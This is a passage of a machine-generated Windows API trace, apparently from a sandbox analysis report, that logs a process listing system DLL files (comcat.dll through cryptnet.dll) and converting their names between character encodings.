ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="console.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.618] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0026.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x3ec288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 